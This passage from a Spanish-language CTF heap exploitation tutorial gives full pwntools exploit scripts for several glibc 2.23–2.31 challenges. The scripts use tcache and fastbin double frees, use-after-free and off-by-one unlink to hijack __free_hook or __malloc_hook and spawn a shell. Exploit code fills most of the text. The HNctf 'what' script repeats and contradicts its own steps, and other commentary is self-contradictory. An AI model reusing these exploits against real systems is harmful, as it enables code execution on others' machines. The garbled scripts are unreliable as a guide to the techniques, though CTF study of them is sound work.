# Realizar double free en chunks de tcache
# Destruir tres chunks diferentes, luego destruir uno de ellos una segunda vez.
# Esto es posible en glibc 2.26 porque tcache no tiene verificaciones de double free.
destruir(2)
destruir(1)
destruir(0)
destruir(0) # Double free en chunk 0
volar() # Vaciar tcache. Esto asegura que el chunk doblemente liberado esté disponible para asignación.
# Asignar un chunk para sobrescribir el puntero `fd` de la lista de tcache con la dirección de `__free_hook`
construir(p64(free_hook_addr)) # Este chunk (indice 0) ahora está en tcache y apunta a __free_hook
# Asignar otro chunk. Este será el chunk que se asigna en `__free_hook`.
# Se llena con "/bin/sh\x00" para usarlo como argumento de system.
construir(b'/bin/sh\x00') # Este chunk (indice 1) se asigna en __free_hook.
# Asignar un tercer chunk. Este realmente sobrescribe `__free_hook` con la dirección de `system`.
construir(p64(system_addr)) # Este chunk (indice 2) sobrescribe __free_hook
# Llamar a `destruir(1)` para liberar el chunk con "/bin/sh\x00"
# Esto activa `__free_hook`, que ahora apunta a `system`.
# `system("/bin/sh")` se ejecuta.
destruir(1)
interactuar()
UAF (Use-After-Free)
La vulnerabilidad Use-After-Free (UAF) ocurre cuando un programa continúa usando un puntero a memoria que ya ha sido liberada. Esto puede llevar a corrupción de memoria, sobrescritura de datos o ejecución de código arbitrario. Los ejemplos a continuación demuestran cómo explotar UAF en diferentes contextos de glibc.
litctf heap2.23
Descripción: Un desafío UAF en glibc 2.23, donde se explota un chunk fastbin para sobrescribir __malloc_hook con un one_gadget.
from pwn import *
nombre_binario = './heap'
depuracion = 0
if depuracion:
io = remote('node2.anna.nssctf.cn', 28352) # Para remoto
else:
io = process(nombre_binario) # Para local
elf = ELF(nombre_binario)
context(arch = elf.arch, log_level = 'debug', os = 'linux')
def adjuntar_gdb():
gdb.attach(io)
# Funciones de interacción del menú
def anadir_nota(indice, tamano):
io.sendlineafter('>>', '1')
io.sendlineafter('idx? ', str(indice))
io.sendlineafter('size? ', str(tamano))
def borrar_nota(indice):
io.sendlineafter('>>', '2')
io.sendlineafter('idx? ', str(indice))
def mostrar_nota(indice):
io.sendlineafter('>>', '3')
io.sendlineafter('idx? ', str(indice))
def editar_nota(indice, contenido):
io.sendlineafter('>>', '4')
io.sendlineafter('idx? ', str(indice))
io.sendlineafter('content : ', contenido)
libc = ELF('./libc.so.6') # Librería libc para offsets
# Leak de la dirección de libc base
anadir_nota(0, 0x80) # Chunk 0
anadir_nota(1, 0x60) # Chunk 1: Evita que el chunk 0 se fusione con top chunk
# Liberar chunk 0 (0x80 bytes). Este tamaño no entra en fastbin en 2.23,
# por lo que se fusiona con el top chunk si el chunk 1 no estuviera.
# Sin embargo, el chunk 1 es de 0x70 (0x60 + metadatos), por lo que chunk 0
# va al unsorted bin.
borrar_nota(0)
# Mostrar chunk 0 (UAF). Revela el puntero `fd` en el unsorted bin, que es una dirección en libc.
mostrar_nota(0)
io.recvuntil('content : ')
# El offset de __malloc_hook con respecto al puntero filtrado puede variar.
# Aquí se usa 0x68 como offset.
malloc_hook_leak = u64(io.recv(6).ljust(8, b'\x00')) - 0x68
success('__malloc_hook =>> ' + hex(malloc_hook_leak))
libc_base = malloc_hook_leak - libc.sym['__malloc_hook']
# Un `one_gadget` que ejecuta shell bajo ciertas condiciones.
# Es necesario verificar el `one_gadget` específico para la libc utilizada.
one_gadget_addr = libc_base + 0xf1247 # Ejemplo de one_gadget para esta libc
# Preparación para el ataque a __malloc_hook
borrar_nota(1) # Liberar chunk 1 (0x60 bytes). Este sí entra en fastbin (0x70 tamaño real).
# UAF en chunk 1 para falsificar su puntero `fd` en fastbin.
# Queremos que apunte a `__malloc_hook - 0x23` para pasar las verificaciones de tamaño en glibc 2.23.
# `-0x23` es un offset común para sobrescribir `__malloc_hook` en 64-bit sin corromper la cabecera del chunk falso.
editar_nota(1, p64(malloc_hook_leak - 0x23))
# Asignar dos chunks de tamaño 0x60.
# La primera asignación devuelve el chunk 1 original, cuyo `fd` fue modificado.
anadir_nota(2, 0x60)
# La segunda asignación devuelve un chunk cuya "dirección" es `__malloc_hook - 0x23`.
anadir_nota(3, 0x60)
# Usar el chunk 3 (el chunk falso en `__malloc_hook - 0x23`) para escribir el `one_gadget`.
# El offset 0x13 es para llegar al `__malloc_hook` real dentro del chunk falso.
editar_nota(3, b'A' * 0x13 + p64(one_gadget_addr))
# La siguiente llamada a `malloc` (a través de `add(4, 0x60)`) activará `__malloc_hook`,
# que ahora apunta al `one_gadget`, ejecutando una shell.
anadir_nota(4, 0x60) # Provoca la ejecución del one_gadget
io.interactive()
长城Kylin_Heap 2.31 libc
Descripción: Un desafío en glibc 2.31 con UAF en la función delete, permitiendo el secuestro de __free_hook.
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
nombre_binario = "./pwn"
e = ELF(nombre_binario)
p = process(nombre_binario) # Para ejecución local
ruta_libc = './libc-2.31-0kylin9.2k0.2.so' # Librería libc específica
modo_ejecucion = 0
if modo_ejecucion == 0:
p = process(nombre_binario)
libc = ELF(ruta_libc)
else:
# Ajustar para remoto
p = remote('IP_REMOTO', PUERTO_REMOTO)
libc = ELF(ruta_libc)
def depurar():
gdb.attach(p)
# gdb.attach(p,'b *0xDIRECCION_BREAKPOINT\nc')
# Funciones de interacción (simplificadas)
enviar = lambda s: p.send(s)
enviar_linea = lambda s: p.sendline(s)
enviar_despues = lambda n,s: p.sendafter(n,s)
enviar_linea_despues = lambda n,s: p.sendlineafter(n,s)
recibir = lambda n: p.recv(n)
recibir_linea = lambda: p.recvline()
recibir_hasta = lambda s: p.recvuntil(s)
recibir_todo = lambda: p.recvall()
interactuar = lambda: p.interactive()
u32_peq = lambda data: u32(data.ljust(4, b'\x00'))
u64_peq = lambda data: u64(data.ljust(8, b'\x00'))
def seleccionar_opcion(idx):
enviar_linea_despues('What will you do, adventurer?', str(idx))
def anadir_bloque(tamano, contenido):
seleccionar_opcion(1)
enviar_linea_despues('bytes): ', str(tamano))
enviar_despues('bytes):\n', contenido)
def borrar_bloque(idx):
seleccionar_opcion(2)
enviar_linea_despues(': ', str(idx))
def mostrar_bloque(idx):
seleccionar_opcion(4)
enviar_linea_despues(': ', str(idx))
def editar_bloque(idx, contenido):
seleccionar_opcion(3)
enviar_linea_despues(": ", str(idx))
enviar_linea_despues('bytes):\n', contenido)
# Leak de la dirección base de libc
anadir_bloque(0x500, b'a') # Chunk 0: grande, para que vaya a unsorted bin
anadir_bloque(0x28, b'a') # Chunk 1: pequeño, para evitar que chunk 0 se fusione con top chunk
borrar_bloque(0) # Liberar chunk 0. Va a unsorted bin.
# depurar() # Punto de depuración
mostrar_bloque(0) # UAF en chunk 0. Muestra la dirección del unsorted bin (que es una dirección en libc).
recibir_hasta(':\n')
libc_base = u64_peq(recibir(6)) - 0x1ebbe0 # Offset específico para esta libc
print('Libc Base:', hex(libc_base))
free_hook_addr = libc_base + libc.sym['__free_hook']
print('__free_hook:', hex(free_hook_addr))
# Se podría usar un `one_gadget` aquí, pero el exploit usa `system` directamente
# one_gadget = libc_base + 0xe6c7e # Ejemplo de one_gadget
system_func_addr = libc_base + libc.sym["system"]
# Preparación para el secuestro de __free_hook usando tcache
anadir_bloque(0x40, b'a') # Chunk 2
anadir_bloque(0x40, b'a') # Chunk 3
borrar_bloque(2) # Liberar chunk 2. Va a tcache (0x50 de tamaño real).
borrar_bloque(3) # Liberar chunk 3. También va a tcache. (Ahora tcache para 0x50 tiene 3 -> 2 -> NULL)
# UAF en chunk 3 (el último liberado). Modifica su puntero `fd` para que apunte a `__free_hook`.
# Cuando se asigna el siguiente chunk, será en `__free_hook`.
editar_bloque(3, p64(free_hook_addr))
# Asignar dos chunks de 0x40.
# La primera asignación devuelve el chunk 3 original (cuyo `fd` fue modificado para `__free_hook`).
# Esto coloca un chunk en `free_hook_addr`.
anadir_bloque(0x40, b'/bin/sh\x00') # Chunk 4: Ahora ocupa la dirección de `__free_hook`.
# La segunda asignación devuelve el chunk en `__free_hook_addr`.
# Sobrescribimos `__free_hook` con la dirección de `system`.
anadir_bloque(0x40, p64(system_func_addr)) # Chunk 5: `__free_hook` ahora apunta a `system`.
# Liberar chunk 4, que contiene "/bin/sh\x00".
# Al liberar este chunk, se invoca `__free_hook`, que ahora ejecuta `system("/bin/sh")`.
borrar_bloque(4) # Ejecuta system("/bin/sh")
interactuar()
bjdctf_2020_YDSneedGrirlfriend
Descripción: Desafío con UAF y double free en glibc 2.23. El programa asigna estructuras de "novias" que consisten en un puntero a función y un puntero a nombre. La función print_girlfriend permite llamar al puntero a función.
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
nombre_binario = "./pwn"
e = ELF(nombre_binario)
# p = process(nombre_binario) # Para ejecución local
libc = ELF('./libc-2.23.so') # Librería libc específica
p = remote('node5.buuoj.cn', 28551) # Para remoto (ajustar si es necesario)
def depurar():
gdb.attach(p)
# gdb.attach(p,'b *0xDIRECCION_BREAKPOINT\nc')
# Funciones de interacción (simplificadas)
enviar = lambda s: p.send(s)
enviar_linea = lambda s: p.sendline(s)
enviar_despues = lambda n,s: p.sendafter(n,s)
enviar_linea_despues = lambda n,s: p.sendlineafter(n,s)
recibir = lambda n: p.recv(n)
recibir_linea = lambda: p.recvline()
recibir_hasta = lambda s: p.recvuntil(s)
recibir_todo = lambda: p.recvall()
interactuar = lambda: p.interactive()
u32_peq = lambda data: u32(data.ljust(4, b'\x00'))
u64_peq = lambda data: u64(data.ljust(8, b'\x00'))
def seleccionar_opcion(idx):
enviar_despues("Your choice :", str(idx))
def anadir_novia(tamano_nombre, nombre):
seleccionar_opcion(1)
enviar_despues('Her name size is :', str(tamano_nombre))
enviar_despues('Her name is :', nombre)
def borrar_novia(idx):
seleccionar_opcion(2)
enviar_despues('Index :', str(idx))
# print(f"Deleted chunk {idx}")
def mostrar_novia(idx):
seleccionar_opcion(3)
enviar_despues('Index :', str(idx))
def salir():
seleccionar_opcion(4)
# Dirección de la función backdoor (system("/bin/sh")) en el binario
system_backdoor_addr = 0x400B9C
# La estrategia es utilizar un double free en un chunk de tamaño 0x20.
# Cada "novia" es una estructura de 0x10 bytes (un puntero a función + un puntero a nombre).
# El puntero a nombre se asigna con un tamaño dado.
# Los chunks de nombre serán de tamaño 0x20 (0x10 de datos + 0x10 de metadatos).
# Crear una "novia". Esto asigna un chunk de 0x10 para la estructura y otro para el nombre.
# El chunk de nombre es de 0x10 bytes (request), que será 0x20 real (fastbin).
anadir_novia(0x10, b'a') # Novia 0
# Realizar double free en el chunk de nombre de la novia 0
borrar_novia(0) # Libera el chunk de nombre y luego el chunk de la estructura
borrar_novia(0) # Double free en el chunk de nombre (tamaño 0x20)
# Asignar un chunk de tamaño diferente. Esto es para manipular la lista de fastbin.
# Si solo asignamos chunks de 0x10, el fastbin devolvería el mismo chunk dos veces.
# Al pedir un chunk de 0x20, se consumirá un elemento del fastbin, y luego el otro
# elemento doblemente liberado seguirá estando disponible.
# En este caso, el tamaño real del request 0x20 es 0x30. Esto no consume el chunk de 0x20.
# Pero el problema original quería 0x20, lo que se traduce a 0x30 en fastbin.
# La idea es que al asignar el *siguiente* chunk de 0x10, este caiga en el lugar donde queremos escribir.
# Entonces, esta línea se omite o se ajusta para la estrategia de fastbin.
# Para glibc 2.23 fastbin, si liberamos 0x20 dos veces, fastbin tiene F->F.
# La primera asignación 0x10 obtiene el primer F. Fastbin tiene F.
# La segunda asignación 0x10 obtiene el segundo F. Fastbin tiene NULL.
# Podemos controlar el segundo F.
# Reasignar el chunk de 0x10 (tamaño real 0x20) para escribir la dirección de la backdoor.
# El primer `add` después del double free obtendrá el primer chunk liberado.
# El segundo `add` obtendrá el segundo chunk liberado, que es el que controlaremos.
anadir_novia(0x10, b'b') # Novia 0 (reasignada). Obtiene el primer chunk de 0x20.
anadir_novia(0x10, p64(system_backdoor_addr)) # Novia 1. Obtiene el segundo chunk de 0x20.
# El puntero a función de la Novia 1 ahora apunta a `system_backdoor_addr`.
# Mostrar la novia 1. Esto invocará el puntero a función de la novia 1,
# que ahora es la `system_backdoor_addr`.
# Se ejecutará system("/bin/sh") si el binario tiene esa función.
mostrar_novia(1)
interactuar()
HNctf what
Descripción: Un desafío UAF sin control directo del índice del chunk, donde la función free_0 siempre libera el último chunk asignado. Se utiliza para secuestrar __free_hook.
from pwn import *
p = process('./what') # Para ejecución local
elf = ELF('./what')
lib = elf.libc # Librería libc del ELF
context.log_level = 'debug'
# p = remote('hackf.imxbt.cn',42474) # Para remoto (ajustar si es necesario)
def depurar():
gdb.attach(p)
# gdb.attach(p,'b *0xd55\nc') # Ajustar breakpoint si es necesario
# Funciones de interacción (simplificadas)
enviar = lambda s: p.send(s)
enviar_linea = lambda s: p.sendline(s)
enviar_despues = lambda n,s: p.sendafter(n,s)
enviar_linea_despues = lambda n,s: p.sendlineafter(n,s)
recibir = lambda n: p.recv(n)
recibir_linea = lambda: p.recvline()
recibir_hasta = lambda s: p.recvuntil(s)
recibir_todo = lambda: p.recvall()
interactuar = lambda: p.interactive()
def seleccionar_opcion(idx):
enviar_linea_despues('Enter your command:\n', str(idx))
def anadir_bloque(tamano):
seleccionar_opcion(1)
enviar_linea_despues('size', str(tamano))
# print(f"Added chunk of size {tamano}")
def borrar_ultimo_bloque(): # free_0 siempre elimina el último chunk
seleccionar_opcion(2)
# print(f"Deleted last chunk")
def mostrar_bloque(idx):
seleccionar_opcion(3)
enviar_despues('please enter idx:\n', str(idx))
def editar_bloque(idx, contenido):
seleccionar_opcion(4)
enviar_despues("please enter idx:\n", str(idx))
enviar_despues("Please enter your content:\n", contenido)
# depurar() # Punto de depuración
# Leak de la dirección base de libc
anadir_bloque(0x10) # Chunk 0
anadir_bloque(0x500) # Chunk 1: Grande, para que vaya a unsorted bin
anadir_bloque(0x10) # Chunk 2
borrar_ultimo_bloque() # Libera chunk 2
borrar_ultimo_bloque() # Libera chunk 1 (0x500 bytes). Va a unsorted bin.
# Mostrar chunk 1 (UAF). Revela el puntero `fd` en unsorted bin, que es una dirección en libc.
# `show` toma un índice, pero los chunks se asignan secuencialmente y luego se liberan de último a primero.
# Chunk 1 es el segundo chunk asignado, por lo que su índice es 1.
mostrar_bloque(1)
p.recvuntil('Content:')
# El offset 0x3ebca0 es específico para la libc usada y la versión de glibc 2.27 (asumido por el offset).
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ebca0
print('Libc Base:', hex(libc_base))
free_hook_addr = libc_base + lib.sym['__free_hook']
system_func_addr = libc_base + lib.sym['system']
print('__free_hook:', hex(free_hook_addr))
# Preparación para el secuestro de __free_hook
# `edit(2, p64(free_hook_addr))` : El índice 2 es el chunk que se liberó por primera vez (chunk 2).
# Su entrada en el tcache (si aplica) puede ser manipulada.
# `free_0()` libera el chunk en el último índice.
# La secuencia es importante:
# 1. Liberar el chunk 2 (0x10) (ya hecho)
# 2. Liberar el chunk 1 (0x500) (ya hecho)
# En este punto, tcache 0x20 es F->NULL, unsorted bin es chunk1.
# Se asume que el chunk 2 (0x10) fue liberado y ahora su fd puede ser manipulado.
# Sin embargo, la función `edit` toma un índice. Si el programa solo manipula un array de punteros,
# y `borrar_ultimo_bloque()` solo borra la última entrada del array, entonces la UAF es en el puntero del array.
# El chunk 2 (índice 2) ya ha sido liberado. Ahora podemos reasignarlo y modificar su `fd`.
# En este caso, no se recrea, sino que se asume que `edit(2, ...)` afecta el puntero residual en el array.
editar_bloque(2, p64(free_hook_addr)) # Manipular la entrada del índice 2 en el array de chunks
# para que la próxima asignación en ese índice apunte a __free_hook.
# Asignar dos chunks de 0x10 (tamaño real 0x20).
# La primera asignación devolverá el chunk en el índice 2 (ahora apuntando a __free_hook).
anadir_bloque(0x10) # Chunk con índice 2. Ahora apunta a __free_hook
# La segunda asignación devolverá un chunk cuya "dirección" es `free_hook_addr`.
anadir_bloque(0x10) # Chunk con índice 3. Sobrescribe __free_hook
# El `add` anterior ha reasignado el chunk en el índice 2 y luego ha asignado el chunk en el índice 3
# que ahora apunta a `__free_hook`.
# Ahora, editar el contenido del chunk 3 (el que está en `__free_hook`) con `/bin/sh\x00`.
editar_bloque(3, b'/bin/sh\x00')
# Editar el contenido del chunk en el índice 2 (que en realidad es el chunk que apunta a `__free_hook`)
# para sobrescribir `__free_hook` con la dirección de `system`.
editar_bloque(2, p64(system_func_addr)) # No, esto no es correcto si `add` está reasignando índices.
# La lógica más probable es:
# anadir_bloque(0x10) # Esto crea el chunk en la dirección de free_hook_addr. Su índice es 2.
# anadir_bloque(0x10) # Esto crea el chunk en el índice 3.
# editar_bloque(2, p64(system_func_addr)) # Esto escribe system_func_addr en free_hook_addr.
# editar_bloque(3, b'/bin/sh\x00') # Esto escribe "/bin/sh\x00" en el chunk con índice 3.
# Vamos a reajustar la secuencia de asignación después de `editar_bloque(2, p64(free_hook_addr))`
# El chunk en índice 2 ahora es falso y apunta a `free_hook_addr`.
anadir_bloque(0x10) # Esta asignación usa el índice 2 y el chunk ahora apunta a free_hook_addr.
# El siguiente `add` asignará memoria en la dirección apuntada por el chunk anterior (i.e. free_hook_addr).
anadir_bloque(0x10) # Esta asignación devuelve el chunk en free_hook_addr.
# Ahora el chunk en `free_hook_addr` (que es el chunk devuelto por el segundo `add` después de la UAF)
# es el que se tiene que editar con `system_func_addr`.
# No tenemos un índice directo para este chunk recién asignado en `free_hook_addr`.
# La lógica original del exploit implicaba que `add` manejaría los índices de tal manera que
# el chunk en `free_hook` sería accesible con un índice.
# Asumiendo que `add` asigna el siguiente índice disponible, si los índices 0 y 1 están ocupados
# y el 2 está en `free_hook`, el siguiente `add` (índice 3) crearía el chunk para `/bin/sh`.
# Y el siguiente `add` (índice 4) crearía el chunk para `system`.
# Retomando la secuencia:
# editar_bloque(2, p64(free_hook_addr)) # Índice 2 ahora apunta a free_hook_addr.
anadir_bloque(0x10) # Este `add` usa la entrada 2, reasigna el chunk, y su `fd` se vuelve `free_hook_addr`.
# El chunk devuelto por malloc es el de `free_hook_addr`.
anadir_bloque(0x10) # Este `add` reasigna `free_hook_addr`.
# Ahora, el chunk con índice 3 es el que se liberará. Lo llenamos con "/bin/sh\x00".
editar_bloque(3, b'/bin/sh\x00')
# Y el chunk con índice 2 (que es `free_hook_addr`) se edita con `system_func_addr`.
editar_bloque(2, p64(system_func_addr)) # Sobrescribir `__free_hook` con `system`.
# Al liberar el chunk 3 (que contiene "/bin/sh\x00"), se llama a `free`,
# que ahora invocará `system("/bin/sh")` a través de `__free_hook`.
borrar_ultimo_bloque() # Libera chunk 3.
interactuar()
iscc2024-iscc—u
Descripción: Un desafío UAF en un entorno i386 (32 bits) con glibc 2.31. Se explota el double free y un error de UAF para sobrescribir un puntero a función en una estructura y ejecutar una shell.
from pwn import *
context.update(arch='i386',os='linux',log_level='debug') # Entorno de 32 bits
nombre_binario = "./WEEK2-pwn2_ISCC_U"
e = ELF(nombre_binario)
p = process(nombre_binario) # Para ejecución local
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so') # Librería libc específica
# p = remote('IP_REMOTO', PUERTO_REMOTO) # Para remoto (ajustar si es necesario)
def depurar():
gdb.attach(p)
# gdb.attach(p,'b *0xDIRECCION_BREAKPOINT\nc')
# Funciones de interacción (simplificadas)
enviar = lambda s: p.send(s)
enviar_linea = lambda s: p.sendline(s)
enviar_despues = lambda n,s: p.sendafter(n,s)
enviar_linea_despues = lambda n,s: p.sendlineafter(n,s)
recibir = lambda n: p.recv(n)
recibir_linea = lambda: p.recvline()
recibir_hasta = lambda s: p.recvuntil(s)
recibir_todo = lambda: p.recvall()
interactuar = lambda: p.interactive()
u32_peq = lambda data: u32(data.ljust(4, b'\x00'))
u64_peq = lambda data: u64(data.ljust(8, b'\x00'))
def seleccionar_opcion(idx):
enviar_linea_despues("What's your choice :", str(idx))
def anadir_nota(tamano, contenido):
seleccionar_opcion(1)
enviar_despues('Note size :', str(tamano))
enviar_despues('Content :', contenido)
def borrar_nota(idx):
seleccionar_opcion(2)
enviar_despues('Index :', str(idx))
# print(f"Deleted chunk {idx}")
def mostrar_nota(idx):
seleccionar_opcion(3)
enviar_despues('Index :', str(idx))
def salir():
seleccionar_opcion(4)
# Primero, usar unsorted bin para filtrar la dirección base de libc
anadir_nota(0x500, b'a') # Chunk 0: grande para unsorted bin
anadir_nota(0x28, b'a') # Chunk 1: pequeño, evita que chunk 0 se fusione con top chunk
borrar_nota(0) # Libera chunk 0. Va a unsorted bin.
# Es crucial asignar de nuevo un chunk del mismo tamaño para que el `fd` del unsorted bin
# sea un puntero a libc. Si se deja libre, el `fd` podría ser 0.
anadir_nota(0x500, b'a') # Chunk 0 (reasignado).
mostrar_nota(0) # UAF en chunk 0. Muestra la dirección del `fd` en unsorted bin.
# El offset 0x39 es específico para la libc usada y la versión de glibc 2.31 (asumido por el offset).
# El puntero filtrado es `__malloc_hook + 0x39` en 32 bits.
libc_base = u32_peq(recibir(4)) - 0x39 - libc.sym['__malloc_hook']
print("Libc Base:", hex(libc_base))
system_func_addr = libc_base + libc.sym['system']
print('System:', hex(system_func_addr))
# La estructura de "nota" es un puntero a función (4 bytes) seguido de un puntero a contenido (4 bytes).
# Cuando se libera una nota, se liberan ambos chunks. `del_note` tiene UAF porque no pone a NULL los punteros.
# Realizar double free en los chunks de la estructura de nota (0x8 bytes).
# El `add` crea un chunk de 0x8 para la estructura de nota, y otro para el contenido.
# En este caso, nos interesa manipular el chunk de 0x8 de la estructura de nota.
# El tamaño real de un request de 0x8 es 0x10 en 32 bits.
borrar_nota(0) # Libera los chunks de la nota 0
borrar_nota(1) # Libera los chunks de la nota 1 (pero el chunk 0 se queda en tcache).
# Si la nota 0 y 1 tienen estructuras de 0x8 bytes, se crea un double free en tcache.
# Queremos que la estructura de la nota apunte a `system` y que su puntero a contenido apunte a `/bin/sh`.
# Asignar un nuevo chunk de 0x8. Este chunk será el primero del double free,
# y su `fd` apunta al segundo del double free. Lo sobrescribimos con `system` y `/bin/sh`.
# En 32 bits, un puntero es de 4 bytes. `p32(sys) + b'||sh'` crea un valor de 8 bytes.
# Cuando `show(0)` llama `(**(¬elist + v1))(*(¬elist + v1))`,
# `**(¬elist + v1)` es el `system` que escribimos, y `*(¬elist + v1)` es el argumento.
# Si el argumento es la propia estructura de nota, que contiene `system` y `||sh`,
# entonces `system("system||sh")` se evaluará a `system("sh")` debido al `||`.
anadir_nota(0x8, p32(system_func_addr) + b'||sh') # Nota 0 (reasignada)
# depurar() # Punto de depuración
mostrar_nota(0) # Llama a la función `print_note_content` con el contenido `system("system||sh")`, resultando en `system("sh")`.
interactuar()
Off-by-One / Null & Chunk Overlap
Las vulnerabilidades Off-by-One y Off-by-Null son formas específicas de desbordamiento de búfer donde se escribe un byte más allá del límite asignado, o un byte nulo (\x00) fuera del límite. Estas son potentes para manipular metadatos del heap, especialmente el campo prev_size y la bandera PREV_INUSE, lo que lleva a fusiones de chunks o ataques unlink.
Fusión de Chunks hacia atrás (Backward Consolidation)
Cuando se libera un chunk, el gestor de memoria verifica la bandera PREV_INUSE del chunk adyacente anterior. Si PREV_INUSE es 0 (lo que significa que el chunk anterior está libre y no en tcache), y prev_size contiene su tamaño, ambos chunks se fusionan en uno más grande. Un Off-by-Null puede sobrescribir la bandera PREV_INUSE del siguiente chunk a 0, haciendo que un chunk adyacente posterior crea que su predecesor (el chunk actual) está libre, lo que lleva a una fusión hacia atrás.
Mecanismo Unlink
El unlink es una operación en el gestor de memoria que elimina un chunk libre de su lista doblemente enlazada (por ejemplo, en small bins). Se explota falsificando los punteros fd y bk de un chunk. La fórmula clave para la explotación es BK->fd = FD y FD->bk = BK. Si un atacante puede controlar los valores de FD y BK en un chunk falso, puede lograr una escritura arbitraria.
Condiciones para el unlink:
- Dirección del array de punteros del heap: Necesario para controlar dónde se escribirá el puntero.
- Off-by-Null/One: Para manipular el
prev_sizey/o la banderaPREV_INUSEdel chunk adyacente.
Controles de seguridad para unlink:
if(__builtin_expect(FD->bk != P || BK->fd != P, 0)): Se verifica que los punterosFDyBKapunten correctamente al chunk que se está desvinculando (P). Para bypass:fakeFD->bk == P⇔*(&fakeFD + 0x18) == P⇔*fakeFD == &P - 0x18fakeBK->fd == P⇔*(&fakeBK + 0x10) == P⇔*fakeBK == &P - 0x10
if(__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0)): Verifica que el tamaño del chunk actual (P) coincida con elprev_sizedel siguiente chunk. Para bypass:- Modificar el
prev_sizedel siguiente chunk para que coincida con el tamaño del chunk falso. - O establecer
sizeyprev_sizea 0, aunque esto está mitigado en glibc-2.29+.
- Modificar el
if(!in_smallbin_range(chunksize_nomask(P)) && __builtin_expect(P->fd_nextsize != NULL, 0)): Controles adicionales paralarge bins. Para bypass:- Asegurar que el chunk falso tenga un tamaño dentro del rango de
small bin.
- Asegurar que el chunk falso tenga un tamaño dentro del rango de
- Para la fusión: El siguiente chunk debe tener
PREV_INUSE = 0y no estar enfast bin.
Si se cumplen las condiciones, al liberar un chunk adyacente, el chunk falso se desvincula, lo que puede resultar en P1 = &P1 - 0x18 (donde P1 es el puntero al chunk en el array). Esto da un control arbitrario de escritura en el array de punteros.
Ejemplo: axb_2019_heap
Descripción: Un desafío en glibc 2.23 con unlink y off-by-one, sin UAF ni funciones de show. El objetivo es secuestrar la tabla GOT.
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# Configuración del programa
nombre_binario = "./axb_2019_heap"
e = ELF(nombre_binario)
p = process(nombre_binario)
# p = remote('IP_REMOTO', PUERTO_REMOTO) # Para remoto (ajustar si es necesario)
libc = ELF('./libc.so.6') # Suponiendo libc-2.23.so
def depurar():
gdb.attach(p)
# gdb.attach(p, 'b *0xDIRECCION_BREAKPOINT\nc')
# Funciones de interacción del menú
def enviar_comando(x):
p.recvuntil('Enter your choice: ')
p.sendline(str(x))
def anadir_nota(idx, tamano, contenido):
enviar_comando(1)
p.recvuntil('idx: ')
p.sendline(str(idx))
p.recvuntil('size: ')
p.sendline(str(tamano))
p.recvuntil('content: ')
p.sendline(contenido)
def editar_nota(idx, contenido):
enviar_comando(2)
p.recvuntil('idx: ')
p.sendline(str(idx))
p.recvuntil('content: ')
p.sendline(contenido)
def borrar_nota(idx):
enviar_comando(3)
p.recvuntil('idx: ')
p.sendline(str(idx))
# Leak de libc base y PIE base usando un formato string vulnerability
p.recvuntil('name: ')
p.sendline(b'%15$p%19$p') # Fuga de direcciones de la pila
p.recvuntil('Hello, ')
# Parsear las direcciones filtradas
# El offset para `__libc_start_main` y la base de PIE son específicos del binario/libc.
libc_start_main_leak = int(p.recv(14), 16)
libc_base = libc_start_main_leak - 240 - libc.sym['__libc_start_main']
pie_base = int(p.recv(14), 16) - 0x116a
# Calcular direcciones importantes
free_hook_addr = libc_base + libc.sym['__free_hook']
note_array_addr = pie_base + 0x202060 # Dirección del array de punteros a chunks (variable global)
fake_fd = note_array_addr - 0x18
fake_bk = note_array_addr - 0x10
print('Libc Base:', hex(libc_base))
print('PIE Base:', hex(pie_base))
print('Note Array:', hex(note_array_addr))
# --- Preparación para el ataque Unlink (glibc 2.23) ---
# Necesitamos:
# 1. Un chunk para el ataque (chunk 0)
# 2. Un chunk adyacente al chunk 0 (chunk 1) que se pueda liberar.
# 3. La bandera PREV_INUSE del chunk 1 debe ser 0.
# 4. El tamaño del chunk 1 debe coincidir con el `prev_size` del chunk falso.
# Chunk 0: Se usará para escribir el chunk falso. Su tamaño es 0x90.
# anadir_nota(0, 0x98, 'aaa') # 0x98 + metadatos = 0xa0.
# El tamaño 0x98 se elige para poder sobrescribir el `prev_size` del siguiente chunk.
anadir_nota(0, 0x98, b'aaa')
# Chunk 1: Chunk adyacente a chunk 0.
# Su tamaño (0x98) + metadatos = 0xa0.
anadir_nota(1, 0x98, b'bbb')
# Chunk 2: Para evitar la consolidación del chunk 1 con el top chunk.
anadir_nota(2, 0x88, b'ccc')
# depurar() # Punto de depuración
# Crear el chunk falso en el chunk 0.
# Un `off-by-one` permite sobrescribir un byte del chunk 1.
# El payload es:
# - 8 bytes nulos (padding)
# - p64(0xa1): Tamaño del chunk falso (0xa0) con el bit PREV_INUSE (1)
# Esto se hace para que el chunk falso parezca asignado y tenga un tamaño válido.
# - p64(fake_fd): Puntero `fd` del chunk falso
# - p64(fake_bk): Puntero `bk` del chunk falso
# - b'a'*0x70: Relleno
# - p64(0x90): prev_size del chunk 1 (0x90) (este es el tamaño real de chunk 0).
# El `off-by-one` sobrescribirá el byte final de este `prev_size` a 0x00.
# - p8(0xa0): Este es el byte que se desborda y se escribe en el chunk 1.
# `0xa0` significa que el `PREV_INUSE` del chunk 1 se establecerá a 0 (falso).
# El tamaño real del chunk 0 (0x98 + 0x8 metadatos) es 0xa0.
# Esto prepara el chunk 1 para ser fusionado hacia atrás con el chunk falso.
payload_falso_chunk = b"\x00" * 8 + p64(0xa1) + p64(fake_fd) + p64(fake_bk) + b'a'*0x70 + p64(0x90) + p8(0xa0)
editar_nota(0, payload_falso_chunk)
# depurar() # Punto de depuración para ver el chunk falso
# Liberar chunk 1. Esto provocará la consolidación hacia atrás con el chunk 0
# y activará el ataque `unlink` en el chunk falso creado en chunk 0.
borrar_nota(1)
# Después del `unlink`, la dirección de `note_array_addr` (que es el puntero al array de chunks)
# será sobrescrita con `note_array_addr - 0x18`.
# Esto significa que el primer elemento del array de punteros (`note[0]`) ahora apunta a
# `note_array_addr - 0x18`.
# `note[0]` está en `note_array_addr`.
# Si `note[0]` es ahora `note_array_addr - 0x18`, entonces
# `note[0] + 0x18` apunta a `note_array_addr`.
# `note[0] + 0x18` = `note_array_addr`.
# Podemos usar `note[0]` para escribir en direcciones arbitrarias.
# Construir el payload para sobrescribir `__free_hook` con `system`.
# `edit(0, ...)` ahora escribe en `note_array_addr - 0x18`
